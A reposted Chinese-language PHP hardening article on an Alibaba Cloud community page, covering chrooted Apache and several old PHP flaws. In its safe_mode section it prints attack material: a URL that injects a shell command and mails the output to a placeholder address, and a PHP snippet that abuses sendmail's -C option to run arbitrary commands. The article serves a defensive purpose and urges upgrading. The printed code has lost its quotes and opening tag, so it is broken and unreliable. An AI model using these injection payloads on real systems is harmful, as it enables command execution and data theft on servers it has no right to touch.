PHP安全配置之實現安全的兩個重點

來源:互聯網
上載者:User
一、Web伺服器安全

  PHP其實不過是Web伺服器的一個模組功能,所以首先要保證Web伺服器的安全。當然Web伺服器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web伺服器結合,這裡也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其指令碼出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache後,給應用也會帶來一定的麻煩,比如串連mysql時必須用127.0.0.1地址使用tcp串連而不能用localhost實現socket串連,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini裡的:

[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com

  都是針對Win32平台,所以需要在chroot環境下調整好sendmail。

  二、PHP本身問題

  1、遠程溢出

  PHP-4.1.2以下的所有版本都存在檔案上傳遠程緩衝區溢位漏洞,而且攻擊程式已經廣泛流傳,成功率非常高.

  2、遠程拒絕服務

  PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本機使用者許可權,但是也能造成拒絕服務。

  3、safe_mode繞過漏洞

  還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,比如存在PHP指令碼evil.php:

  執行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com

  這將id執行的結果發送給evil@domain.com。

  對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令:

  #注意,下面這兩個必須是不存在的,或者它們的屬主和本指令碼的屬主是一樣:

$script=/tmp/script123;
$cf=/tmp/cf123;
$fd = fopen($cf, w);
fwrite($fd, OQ/tmp
Sparse=0
R$* . chr(9) . $#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script);
fclose($fd);
$fd = fopen($script, w);
fwrite($fd, rm -f $script $cf; );
fwrite($fd, $cmd);
fclose($fd);
mail(nobody, , , , -C$cf);
?>

  還是使用以上有問題版本PHP的使用者一定要及時升級到最新版本,這樣才能消除基本的安全問題。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.